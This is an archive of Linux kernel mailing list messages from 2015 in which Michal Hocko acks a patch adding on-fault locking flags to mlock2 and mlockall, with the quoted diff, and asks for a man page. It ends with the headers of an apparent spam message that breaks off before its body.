Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 28 16:31:40 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZVKgs-0000vm-6u
	for glpp-linux-parisc@plane.gmane.org; Fri, 28 Aug 2015 16:31:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752673AbbH1Obg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Aug 2015 10:31:36 -0400
Original-Received: from mail-wi0-f175.google.com ([209.85.212.175]:35016 "EHLO
	mail-wi0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752138AbbH1Obe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Aug 2015 10:31:34 -0400
Original-Received: by wicne3 with SMTP id ne3so21250261wic.0;
        Fri, 28 Aug 2015 07:31:32 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=6LMwZCIfX073bDNfCvGuArxybDC33TkilQkNKOkxDps=;
        b=D+mqdUYM/VBGyZ0Uzfy0or4IOPtz84CSTDqZl/AMgKyEZN8o0kDDv3NUVgAxQjBWQQ
         A2RGfyEDGkAHHrorLPzAfgUgyWXS1wnyIY60Ag0Xc2+S9OKZTsG+uL2tRzgNdQjIdkUG
         inwmdFjFW6vuNNJpfKggf/+ijL9btgvCOKKgH3h9sMZxd/TpyinYmvcs7eU1rX8qJPNt
         Gu0McSkqU2NJPm91lWduIofAsaWpNdhuVLDJyxBQXGbUshrTx0YRa5wxsIjPCWhxZ1Az
         tNyYYf6DdQlPul3iBXTLYONc/wZVsRToebMcAyJAqueQc5I4CJMq/+BurYnZzd1EkEc4
         PiWg==
X-Received: by 10.194.250.40 with SMTP id yz8mr12737584wjc.37.1440772292032;
        Fri, 28 Aug 2015 07:31:32 -0700 (PDT)
Original-Received: from localhost (nat1.scz.suse.com. [213.151.88.250])
        by smtp.gmail.com with ESMTPSA id fs8sm4085751wib.0.2015.08.28.07.31.31
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 28 Aug 2015 07:31:31 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1440613465-30393-5-git-send-email-emunson@akamai.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25993 gmane.linux.ports.alpha:3375 gmane.linux.kernel:2028638 gmane.linux.ports.mips.general:50216 gmane.linux.ports.ppc64.devel:117442 gmane.linux.ports.sparc:21537 gmane.linux.kernel.cross-arch:29000 gmane.linux.kernel.api:13719 gmane.linux.kernel.mm:137816
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25993>

On Wed 26-08-15 14:24:23, Eric B Munson wrote:
> The previous patch introduced a flag that specified pages in a VMA
> should be placed on the unevictable LRU, but they should not be made
> present when the area is created.  This patch adds the ability to set
> this state via the new mlock system calls.
> 
> We add MLOCK_ONFAULT for mlock2 and MCL_ONFAULT for mlockall.
> MLOCK_ONFAULT will set the VM_LOCKONFAULT modifier for VM_LOCKED.
> MCL_ONFAULT should be used as a modifier to the two other mlockall
> flags.  When used with MCL_CURRENT, all current mappings will be marked
> with VM_LOCKED | VM_LOCKONFAULT.  When used with MCL_FUTURE, the
> mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.  When used
> with both MCL_CURRENT and MCL_FUTURE, all current mappings and
> mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.
> 
> Prior to this patch, mlockall() will unconditionally clear the
> mm->def_flags any time it is called without MCL_FUTURE.  This behavior
> is maintained after adding MCL_ONFAULT.  If a call to
> mlockall(MCL_FUTURE) is followed by mlockall(MCL_CURRENT), the
> mm->def_flags will be cleared and new VMAs will be unlocked.  This
> remains true with or without MCL_ONFAULT in either mlockall()
> invocation.
> 
> munlock() will unconditionally clear both vma flags.  munlockall()
> unconditionally clears for VMA flags on all VMAs and in the
> mm->def_flags field.
> 
> Signed-off-by: Eric B Munson <emunson@akamai.com>
> Acked-by: Vlastimil Babka <vbabka@suse.cz>
> Cc: Michal Hocko <mhocko@suse.cz>
> Cc: Vlastimil Babka <vbabka@suse.cz>
> Cc: Jonathan Corbet <corbet@lwn.net>
> Cc: "Kirill A. Shutemov" <kirill@shutemov.name>
> Cc: linux-alpha@vger.kernel.org
> Cc: linux-kernel@vger.kernel.org
> Cc: linux-mips@linux-mips.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linuxppc-dev@lists.ozlabs.org
> Cc: sparclinux@vger.kernel.org
> Cc: linux-xtensa@linux-xtensa.org
> Cc: linux-arch@vger.kernel.org
> Cc: linux-api@vger.kernel.org
> Cc: linux-mm@kvack.org

I haven't checked the arch specific bits but the core part looks good to
me.

Acked-by: Michal Hocko <mhocko@suse.com>

> ---
>  arch/alpha/include/uapi/asm/mman.h     |  3 ++
>  arch/mips/include/uapi/asm/mman.h      |  6 ++++
>  arch/parisc/include/uapi/asm/mman.h    |  3 ++
>  arch/powerpc/include/uapi/asm/mman.h   |  1 +
>  arch/sparc/include/uapi/asm/mman.h     |  1 +
>  arch/tile/include/uapi/asm/mman.h      |  1 +
>  arch/xtensa/include/uapi/asm/mman.h    |  6 ++++
>  include/uapi/asm-generic/mman-common.h |  5 ++++
>  include/uapi/asm-generic/mman.h        |  1 +
>  mm/mlock.c                             | 52 +++++++++++++++++++++++++---------
>  10 files changed, 66 insertions(+), 13 deletions(-)
> 
> diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
> index 0086b47..f2f9496 100644
> --- a/arch/alpha/include/uapi/asm/mman.h
> +++ b/arch/alpha/include/uapi/asm/mman.h
> @@ -37,6 +37,9 @@
>  
>  #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
>  #define MCL_FUTURE	16384		/* lock all additions to address space */
> +#define MCL_ONFAULT	32768		/* lock all pages that are faulted in */
> +
> +#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
>  
>  #define MADV_NORMAL	0		/* no further special treatment */
>  #define MADV_RANDOM	1		/* expect random page references */
> diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
> index cfcb876..97c03f4 100644
> --- a/arch/mips/include/uapi/asm/mman.h
> +++ b/arch/mips/include/uapi/asm/mman.h
> @@ -61,6 +61,12 @@
>   */
>  #define MCL_CURRENT	1		/* lock all current mappings */
>  #define MCL_FUTURE	2		/* lock all future mappings */
> +#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
> +
> +/*
> + * Flags for mlock
> + */
> +#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
>  
>  #define MADV_NORMAL	0		/* no further special treatment */
>  #define MADV_RANDOM	1		/* expect random page references */
> diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
> index 294d251..ecc3ae1 100644
> --- a/arch/parisc/include/uapi/asm/mman.h
> +++ b/arch/parisc/include/uapi/asm/mman.h
> @@ -31,6 +31,9 @@
>  
>  #define MCL_CURRENT	1		/* lock all current mappings */
>  #define MCL_FUTURE	2		/* lock all future mappings */
> +#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
> +
> +#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
>  
>  #define MADV_NORMAL     0               /* no further special treatment */
>  #define MADV_RANDOM     1               /* expect random page references */
> diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
> index 6ea26df..03c06ba 100644
> --- a/arch/powerpc/include/uapi/asm/mman.h
> +++ b/arch/powerpc/include/uapi/asm/mman.h
> @@ -22,6 +22,7 @@
>  
>  #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
>  #define MCL_FUTURE      0x4000          /* lock all additions to address space */
> +#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
>  
>  #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
>  #define MAP_NONBLOCK	0x10000		/* do not block on IO */
> diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
> index 0b14df3..9765896 100644
> --- a/arch/sparc/include/uapi/asm/mman.h
> +++ b/arch/sparc/include/uapi/asm/mman.h
> @@ -17,6 +17,7 @@
>  
>  #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
>  #define MCL_FUTURE      0x4000          /* lock all additions to address space */
> +#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
>  
>  #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
>  #define MAP_NONBLOCK	0x10000		/* do not block on IO */
> diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
> index 81b8fc3..63ee13f 100644
> --- a/arch/tile/include/uapi/asm/mman.h
> +++ b/arch/tile/include/uapi/asm/mman.h
> @@ -36,6 +36,7 @@
>   */
>  #define MCL_CURRENT	1		/* lock all current mappings */
>  #define MCL_FUTURE	2		/* lock all future mappings */
> +#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
>  
>  
>  #endif /* _ASM_TILE_MMAN_H */
> diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
> index 201aec0..360944e 100644
> --- a/arch/xtensa/include/uapi/asm/mman.h
> +++ b/arch/xtensa/include/uapi/asm/mman.h
> @@ -74,6 +74,12 @@
>   */
>  #define MCL_CURRENT	1		/* lock all current mappings */
>  #define MCL_FUTURE	2		/* lock all future mappings */
> +#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
> +
> +/*
> + * Flags for mlock
> + */
> +#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
>  
>  #define MADV_NORMAL	0		/* no further special treatment */
>  #define MADV_RANDOM	1		/* expect random page references */
> diff --git a/include/uapi/asm-generic/mman-common.h b/include/uapi/asm-generic/mman-common.h
> index ddc3b36..a74dd84 100644
> --- a/include/uapi/asm-generic/mman-common.h
> +++ b/include/uapi/asm-generic/mman-common.h
> @@ -25,6 +25,11 @@
>  # define MAP_UNINITIALIZED 0x0		/* Don't support this flag */
>  #endif
>  
> +/*
> + * Flags for mlock
> + */
> +#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
> +
>  #define MS_ASYNC	1		/* sync memory asynchronously */
>  #define MS_INVALIDATE	2		/* invalidate the caches */
>  #define MS_SYNC		4		/* synchronous memory sync */
> diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
> index e9fe6fd..7162cd4 100644
> --- a/include/uapi/asm-generic/mman.h
> +++ b/include/uapi/asm-generic/mman.h
> @@ -17,5 +17,6 @@
>  
>  #define MCL_CURRENT	1		/* lock all current mappings */
>  #define MCL_FUTURE	2		/* lock all future mappings */
> +#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
>  
>  #endif /* __ASM_GENERIC_MMAN_H */
> diff --git a/mm/mlock.c b/mm/mlock.c
> index 7efe27d..0747663 100644
> --- a/mm/mlock.c
> +++ b/mm/mlock.c
> @@ -506,7 +506,8 @@ static int mlock_fixup(struct vm_area_struct *vma, struct vm_area_struct **prev,
>  
>  	if (newflags == vma->vm_flags || (vma->vm_flags & VM_SPECIAL) ||
>  	    is_vm_hugetlb_page(vma) || vma == get_gate_vma(current->mm))
> -		goto out;	/* don't set VM_LOCKED,  don't count */
> +		/* don't set VM_LOCKED or VM_LOCKONFAULT and don't count */
> +		goto out;
>  
>  	pgoff = vma->vm_pgoff + ((start - vma->vm_start) >> PAGE_SHIFT);
>  	*prev = vma_merge(mm, *prev, start, end, newflags, vma->anon_vma,
> @@ -576,7 +577,7 @@ static int apply_vma_lock_flags(unsigned long start, size_t len,
>  		prev = vma;
>  
>  	for (nstart = start ; ; ) {
> -		vm_flags_t newflags = vma->vm_flags & ~VM_LOCKED;
> +		vm_flags_t newflags = vma->vm_flags & VM_LOCKED_CLEAR_MASK;
>  
>  		newflags |= flags;
>  
> @@ -645,10 +646,15 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
>  
>  SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
>  {
> -	if (flags)
> +	vm_flags_t vm_flags = VM_LOCKED;
> +
> +	if (flags & ~MLOCK_ONFAULT)
>  		return -EINVAL;
>  
> -	return do_mlock(start, len, VM_LOCKED);
> +	if (flags & MLOCK_ONFAULT)
> +		vm_flags |= VM_LOCKONFAULT;
> +
> +	return do_mlock(start, len, vm_flags);
>  }
>  
>  SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
> @@ -665,24 +671,43 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
>  	return ret;
>  }
>  
> +/*
> + * Take the MCL_* flags passed into mlockall (or 0 if called from munlockall)
> + * and translate into the appropriate modifications to mm->def_flags and/or the
> + * flags for all current VMAs.
> + *
> + * There are a couple of subtleties with this.  If mlockall() is called multiple
> + * times with different flags, the values do not necessarily stack.  If mlockall
> + * is called once including the MCL_FUTURE flag and then a second time without
> + * it, VM_LOCKED and VM_LOCKONFAULT will be cleared from mm->def_flags.
> + */
>  static int apply_mlockall_flags(int flags)
>  {
>  	struct vm_area_struct * vma, * prev = NULL;
> +	vm_flags_t to_add = 0;
>  
> -	if (flags & MCL_FUTURE)
> +	current->mm->def_flags &= VM_LOCKED_CLEAR_MASK;
> +	if (flags & MCL_FUTURE) {
>  		current->mm->def_flags |= VM_LOCKED;
> -	else
> -		current->mm->def_flags &= ~VM_LOCKED;
>  
> -	if (flags == MCL_FUTURE)
> -		goto out;
> +		if (flags & MCL_ONFAULT)
> +			current->mm->def_flags |= VM_LOCKONFAULT;
> +
> +		if (!(flags & MCL_CURRENT))
> +			goto out;
> +	}
> +
> +	if (flags & MCL_CURRENT) {
> +		to_add |= VM_LOCKED;
> +		if (flags & MCL_ONFAULT)
> +			to_add |= VM_LOCKONFAULT;
> +	}
>  
>  	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
>  		vm_flags_t newflags;
>  
> -		newflags = vma->vm_flags & ~VM_LOCKED;
> -		if (flags & MCL_CURRENT)
> -			newflags |= VM_LOCKED;
> +		newflags = vma->vm_flags & VM_LOCKED_CLEAR_MASK;
> +		newflags |= to_add;
>  
>  		/* Ignore errors */
>  		mlock_fixup(vma, &prev, vma->vm_start, vma->vm_end, newflags);
> @@ -697,7 +722,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
>  	unsigned long lock_limit;
>  	int ret = -EINVAL;
>  
> -	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
> +	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT)) ||
> +	    flags == MCL_ONFAULT)
>  		goto out;
>  
>  	ret = -EPERM;
> -- 
> 1.9.1

-- 
Michal Hocko
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.mm
Subject: Re: [PATCH v8 4/6] mm: mlock: Add mlock flags to enable
 VM_LOCKONFAULT usage
Date: Fri, 28 Aug 2015 16:32:51 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20150828143251.GF5301@dhcp22.suse.cz>
References: <1440613465-30393-1-git-send-email-emunson@akamai.com>
 <1440613465-30393-5-git-send-email-emunson@akamai.com>
 <20150828143130.GE5301@dhcp22.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1440772382 10527 80.91.229.3 (28 Aug 2015 14:33:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Aug 2015 14:33:02 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	"Kirill A. Shutemov" <kirill@shutemov.name>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org, linux-mm@kvack.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Aug 28 16:33:00 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZVKiB-0002e8-A2
	for glka-linux-arch@plane.gmane.org; Fri, 28 Aug 2015 16:32:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752350AbbH1Oc4 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 28 Aug 2015 10:32:56 -0400
Original-Received: from mail-wi0-f174.google.com ([209.85.212.174]:37873 "EHLO
	mail-wi0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751963AbbH1Ocz (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 28 Aug 2015 10:32:55 -0400
Original-Received: by wicfv10 with SMTP id fv10so13867429wic.0;
        Fri, 28 Aug 2015 07:32:53 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=/hfZdLNqN4kS9p6ea+oMZa8UpSdpkqGZEX1MQ4JLGp8=;
        b=AdX/LxUeghnlTYSFKLpsW++wjP/b2laCREsAVb8XA41tFx3RtA1Neg48rALaGv2DXR
         bx87xQIjQU8usSv44mex/Zdps0rdkXwwKn/Q6Tu2ROUPYnWl0pQWLyOfXNBZ5PsiDtrx
         D8HiA+lAgAcphfa/G+7ZKaXLCdhmx0FcH7eNBTKPkuct3dK/ElzT2LzcX7KjXjvuVBdw
         a8ICtKin6Y1oeKCNVMkPDeEV0hmkxlDblZZrlJf0g8Kb/WAPIaMrH8fSOjRKQRg/cQk+
         7H5QCls8mr4Z4tFmWEYyeUCsi99KpxuObvUQoWNbg0gI134RVcPs4z4vDOjL7Xl19qBR
         RG8g==
X-Received: by 10.194.108.5 with SMTP id hg5mr12443307wjb.25.1440772373144;
        Fri, 28 Aug 2015 07:32:53 -0700 (PDT)
Original-Received: from localhost (nat1.scz.suse.com. [213.151.88.250])
        by smtp.gmail.com with ESMTPSA id jr5sm8344634wjc.14.2015.08.28.07.32.52
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 28 Aug 2015 07:32:52 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20150828143130.GE5301@dhcp22.suse.cz>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:29001 gmane.linux.ports.alpha:3376 gmane.linux.kernel:2028640 gmane.linux.ports.mips.general:50217 gmane.linux.ports.parisc:25994 gmane.linux.ports.ppc64.devel:117443 gmane.linux.ports.sparc:21538 gmane.linux.kernel.api:13720 gmane.linux.kernel.mm:137817
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/29001>

On Fri 28-08-15 16:31:30, Michal Hocko wrote:
> On Wed 26-08-15 14:24:23, Eric B Munson wrote:
> > The previous patch introduced a flag that specified pages in a VMA
> > should be placed on the unevictable LRU, but they should not be made
> > present when the area is created.  This patch adds the ability to set
> > this state via the new mlock system calls.
> > 
> > We add MLOCK_ONFAULT for mlock2 and MCL_ONFAULT for mlockall.
> > MLOCK_ONFAULT will set the VM_LOCKONFAULT modifier for VM_LOCKED.
> > MCL_ONFAULT should be used as a modifier to the two other mlockall
> > flags.  When used with MCL_CURRENT, all current mappings will be marked
> > with VM_LOCKED | VM_LOCKONFAULT.  When used with MCL_FUTURE, the
> > mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.  When used
> > with both MCL_CURRENT and MCL_FUTURE, all current mappings and
> > mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.
> > 
> > Prior to this patch, mlockall() will unconditionally clear the
> > mm->def_flags any time it is called without MCL_FUTURE.  This behavior
> > is maintained after adding MCL_ONFAULT.  If a call to
> > mlockall(MCL_FUTURE) is followed by mlockall(MCL_CURRENT), the
> > mm->def_flags will be cleared and new VMAs will be unlocked.  This
> > remains true with or without MCL_ONFAULT in either mlockall()
> > invocation.

Btw. I think we really want a man page for this new mlock call.
-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:37:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <jerryfunds19@unitedfunds.onmicrosoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Sat, 29 Aug 2015 23:53:19 +0530
Lines: 6
Approved: news@gmane.org
Message-ID: <SG2PR0201MB0982262C0E43CBB30E53E69CB86D0@SG2PR0201MB0982.apcprd02.prod.outlook.com>
Reply-To: <j.funds2000000@inbox.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1440872687 25351 80.91.229.3 (29 Aug 2015 18:24:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Aug 2015 18:24:47 +0000 (UTC)
To: Recipients@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 29 20:24:33 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZVknn-0006X8-H9
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Aug 2015 20:24:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752906AbbH2SYV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Aug 2015 14:24:21 -0400
Original-Received: from mail-sg2apc01hn0240.outbound.protection.outlook.com ([104.47.125.240]:62975
	"EHLO APC01-SG2-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752880AbbH2SYI convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Aug 2015 14:24:08 -0400
Authentication-Results: spf=none (sender IP is ) smtp.mailfrom=<>; 
Original-Received: from hp-PC.www.huaweimobilewifi.com (106.205.33.226) by
 SG2PR0201MB0982.apcprd02.prod.outlook.com (10.162.202.153) with Microsoft
 SMTP Server (TLS) id 15.1.256.15; Sat, 29 Aug 2015 18:23:53 +0000
Content-Description: Mail message body
Original-Subject: 
X-Originating-IP: [106.205.33.226]
X-ClientProxiedBy: HKXPR03CA0029.apcprd03.prod.outlook.com (10.141.129.19) To
 SG2PR0201MB0982.apcprd02.prod.outlook.com (25.162.202.153)
X-Microsoft-Exchange-Diagnostics: 1;SG2PR0201MB0982;2:8EFlDKUlUHZyeTNsfUvS5OfitPp3a1EVABp0NHL0CsyFsrZqLRx7y0tezhiyC53MtUThsnqFva0asUaCoS2V9Yzk23UrMNuZFnB0z5TFDU6YfGj4sa8sun3lNIRFH7yVZ9c/ms2kXUZREs6/bUA3o2LT4yAZr4cHTXoivzFsQFk=;3:t3eEJi/JZ9qOW4XHFSKqi6KZhRt2JfumIU+s1XsS5CAyXJrrUb7xxHFXxC+I6mdQXrIOr3VYA4Z2d5IPpVvYbP2Ug7AT87TcqZIjLGbOnBbTljucxqK+681GJT0Vgk234wccNnuoiVJ8y+tHS+byGw==;25:oVGF8ILHSHEPX59/3wYJt1gc5ePsX6k8sQtA5qOBt7j2hEanZQ1sqnzEk3emOQJ0FnBaDp62CK8eLRjClyJnIckcV644Vi08pqPnLe6PViAgcBeMDSo8Bj5Fp50k2k/iqyo4LVffVqosmNRLZGbWZIm2YbFBHratQ8MUv7cvumxQ2LiUIXDvP5xYxwTk6E59kTI7qyyIrHhRboJJSb3fG9otypgQEZUyIrIOD6d/ykkYyY3emEbqp4ZVjqkB/nkD4bfs4VwZLw2YkQitgQTvBQ==;4:kv9zE/ERbBdpvq3SZhiL6YCcG5+dbWucGRzFRIUBxVf+WUduMLyw1ZLvoMCZd8+xDNnEwesWLzDNSGbeAXwNclyBszGDKjRG3aFxKyruHzmtouSBjGyKts9kfkLo4762fnmG
 O9VcLqES2Vv5VZyQf7fLq8Cx9UUmSPaYOXVCaC4IIPibupIlK2SctdYOGy45FPXxtu6sYhYQlN9zx5AtFifienCr32biXnfoaC 
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:SG2PR0201MB0982;
X-Microsoft-Antispam-PRVS: <SG2PR0201MB09824407C0F247C8037E0F1FB86D0@SG2PR0201MB0982.apcprd02.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(601004)(8121501046)(5005006)(3002001);SRVR:SG2PR0201MB0982;BCL:0;PCL:0;RULEID:;SRVR:SG2PR0201MB0982;
X-Forefront-PRVS: 06833C6A67
X-Forefront-Antispam-Report: SFV:SPM;SFS:(10019020)(6009001)(199003)(189002)(53256004)(101416001)(40100003)(33656002)(23756003)(109986003)(43066003)(46102003)(19580405001)(86902001)(89136004)(4001450100002)(42382002)(47776003)(54356999)(64706001)(122386002)(86152002)(50986999)(78352002)(87976001)(68736005)(66066001)(64872006)(77096005)(86442001)(558084003)(53806999)(50466002)(74316001)(107886002)(5001920100001)(561924002)(5004730100002)(25636003)(19580395003)(77156002)(105586002)(5406001)(5001830100001)(76576001)(5007970100001)(4001540100001)(5001960100002)(106356001)(110136002)(5001860100001)(97736004)(81156007)(42186005)(62966003)(189998001)(250100001)(439774005);DIR:OUT;SFP:1501;SCL:5;SRVR:SG2PR0201MB0982;H:hp-PC.www.huaweimobilewifi.com;FPR:;SPF:None;PTR:InfoNoRecords;A:0;MX:0;LANG:en;
 
Received-SPF: None (protection.outlook.com: hp-PC.www.huaweimobilewifi.com
 does not designate permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;SG2PR0201MB0982;23:MhJA4nCnXQ6+GRqVrP4SsxLsv3QIbCpOZGNFG?=
 =?iso-8859-1?Q?UCqsjRX4waEFN6NdnSAuYWRpEFaJAwxthKxEkzk532v7ehQlKtMHB2NQMK?=
 =?iso-8859-1?Q?KZMRunpNATUBr7PYJwk6s53JtyjUFF8VZqWwb8dI8UW9FamFpbVy7hpmtz?=
 =?iso-8859-1?Q?z7xBdBG5oVxG544xuvmYnqxJQvrDn1TNQjZBC0rOCfb7BhOuykHUgXKjgs?=
 =?iso-8859-1?Q?sRuX0TmNWWPvNgEw/6BX6Yd546vY6zbC0haJilPj2fXqvLzRh3Y65LN0/c?=
 =?iso-8859-1?Q?VkFTLVnithHcwQQS5TEaGr8skQeLBD/ETVDL4Uz42pC1CUCCtAnfXl5GII?=
 =?iso-8859-1?Q?EhkHGFWrLKeUJWK87LDMLY2VE6SU7Cy+cAdyvlowlXyu5NSBvnVqeKxR/U?=
 =?iso-8859-1?Q?+dVO69QX+wV0IOIuAVjAVD00glHOSYoo74zdn2afCthwNrFBP2kx6RQZUu?=
 =?iso-8859-1?Q?p/JolZ074CivvNGmadU/tz50PJoO4pU6Iy2Dbn7SU9trsStE2P3IjEIaru?=
 =?iso-8859-1?Q?Fmq2P3jg5wFqnKLtmCdSTt5OSCr3sA+hUp15E9+zyrv7/7uwjNq9u+tVZB?=
 =?iso-8859-1?Q?QLCmPZMS0kPm+xg5bQLW9dOlhz2gmhqjulPGUW54f/flUub2qhrteMw475?=
 =?iso-8859-1?Q?isle 
